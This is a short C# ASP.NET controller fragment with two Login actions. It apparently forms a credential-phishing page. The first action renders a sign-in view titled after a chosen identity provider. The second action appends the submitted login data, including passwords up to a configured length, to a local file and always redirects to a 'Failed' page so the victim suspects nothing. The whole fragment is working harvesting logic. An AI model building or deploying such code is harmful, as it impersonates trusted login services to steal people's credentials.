public IActionResult Login(string service) { var provider = cfg.IdentityProviders.FirstOrDefault(x => x.Id.Equals(service, StringComparison.OrdinalIgnoreCase)); if (provider == null) return this.HttpNotFound(); var model = new LoginModel { Service = provider.Id, ServiceName = provider.Title }; return this.View(model); }
public IActionResult Login(string service, LoginModel model) { var fileName = Path.Combine(env.ApplicationBasePath, cfg.OutputFileName); model.AppendToLogFile(fileName, cfg.MaximumPasswordLength); return this.RedirectToAction("Failed"); }